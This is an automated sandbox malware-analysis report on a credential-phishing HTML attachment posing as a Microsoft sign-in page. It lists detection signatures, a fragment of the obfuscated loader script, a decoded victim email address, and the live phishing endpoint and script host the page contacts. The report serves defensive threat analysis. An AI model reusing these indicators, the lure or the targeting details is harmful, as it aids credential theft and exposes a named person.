Edit tour

Windows Analysis Report
Audio02837498.html

Overview

General Information

Sample name:	Audio02837498.html
Analysis ID:	1580372
MD5:	c1a4af7a508a277de35152ac063fd8ce
SHA1:	59e14098aa48df399f10e6ce36913b8b12388cf0
SHA256:	6193af5080ba1cf82619af12e4330a36298119636481caf9e968703bdac9ffb4
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

Detected javascript redirector / loader

HTML document with suspicious title

HTML file submission containing password form

HTML sample is only containing javascript code

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 2752 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Audio02837498.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6844 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2008 --field-trial-handle=2024,i,8155566822440245312,8838022581628603554,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: file:///C:/Users/user/Desktop/Audio02837498.html

Joe Sandbox AI: Score: 10 Reasons: HTML file with login form DOM: 1.2.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Detected javascript redirector / loader

Source: Audio02837498.html

HTTP Parser: Low number of body elements: 0

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/Audio02837498.html

Tab title: Sign in to your account

HTML sample is only containing javascript code

Source: Audio02837498.html

HTTP Parser: <script>let rh13z8jemt = 'ZG9uYWxkLmhhcnRtYW5AaW53Zy5jYXAuZ292'; // Do culpa voluptate, magna reprehenderit beef labore minim pork occaecat laborum picanha bresaola.dissentients=~[];dissentients={___:++dissentients,$$$$:(![]+"")[dissentients],__$...

Source: file:///C:/Users/user/Desktop/Audio02837498.html

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/Audio02837498.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: Audio02837498.html

HTTP Parser: Base64 decoded: donald.hartman@inwg.cap.gov

Source: file:///C:/Users/user/Desktop/Audio02837498.html

HTTP Parser: Title: Sign in to your account does not match URL

Source: file:///C:/Users/user/Desktop/Audio02837498.html	HTTP Parser: Invalid link: Privacy statement
Source: file:///C:/Users/user/Desktop/Audio02837498.html	HTTP Parser: Invalid link: Privacy statement

Source: file:///C:/Users/user/Desktop/Audio02837498.html

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/Audio02837498.html

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/Audio02837498.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Audio02837498.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Audio02837498.html	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/Audio02837498.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Audio02837498.html	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/Audio02837498.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Audio02837498.html	HTTP Parser: No <meta name="copyright".. found

Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.11.207 104.18.11.207
Source: Joe Sandbox View	IP Address: 104.18.11.207 104.18.11.207
Source: Joe Sandbox View	IP Address: 151.101.2.137 151.101.2.137
Source: Joe Sandbox View	IP Address: 151.101.2.137 151.101.2.137

Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.16
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.16
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.16
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.16
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.16
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.16
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.16
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.16
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.16
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.16
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /attach%2Fbootstrap.min.js HTTP/1.1Host: 5889631857-1323985617.cos.na-siliconvalley.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /attach%2Fbootstrap.min.js HTTP/1.1Host: 5889631857-1323985617.cos.na-siliconvalley.myqcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: mrmoney.appcourtservices.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: mrmoney.appcourtservices.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 5889631857-1323985617.cos.na-siliconvalley.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mrmoney.appcourtservices.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /next.php HTTP/1.1Host: mrmoney.appcourtservices.comConnection: keep-aliveContent-Length: 13sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_80.2.dr, chromecache_79.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_82.2.dr, chromecache_70.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_75.2.dr, chromecache_78.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_82.2.dr, chromecache_70.2.dr, chromecache_75.2.dr, chromecache_78.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_82.2.dr, chromecache_70.2.dr, chromecache_75.2.dr, chromecache_78.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705

Source: classification engine

Classification label: mal72.phis.winHTML@14/33@30/12

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Audio02837498.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2008 --field-trial-handle=2024,i,8155566822440245312,8838022581628603554,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2008 --field-trial-handle=2024,i,8155566822440245312,8838022581628603554,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Audio02837498.html

HTTP Parser: file:///C:/Users/user/Desktop/Audio02837498.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file:///C:/Users/user/Desktop/Audio02837498.html	0%	Avira URL Cloud	safe
https://5889631857-1323985617.cos.na-siliconvalley.myqcloud.com/attach%2Fbootstrap.min.js	0%	Avira URL Cloud	safe
https://mrmoney.appcourtservices.com/next.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.11.207	true	false	high
code.jquery.com	151.101.194.137	true	false	high
mrmoney.appcourtservices.com	104.21.33.126	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
cos.na-siliconvalley.myqcloud.com	170.106.97.198	true	false	high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
5889631857-1323985617.cos.na-siliconvalley.myqcloud.com	unknown	unknown	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://mrmoney.appcourtservices.com/next.php	false	Avira URL Cloud: safe	unknown
https://5889631857-1323985617.cos.na-siliconvalley.myqcloud.com/attach%2Fbootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
file:///C:/Users/user/Desktop/Audio02837498.html	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_82.2.dr, chromecache_70.2.dr, chromecache_75.2.dr, chromecache_78.2.dr	false	high
https://getbootstrap.com)	chromecache_82.2.dr, chromecache_70.2.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_82.2.dr, chromecache_70.2.dr, chromecache_75.2.dr, chromecache_78.2.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_80.2.dr, chromecache_79.2.dr	false	high
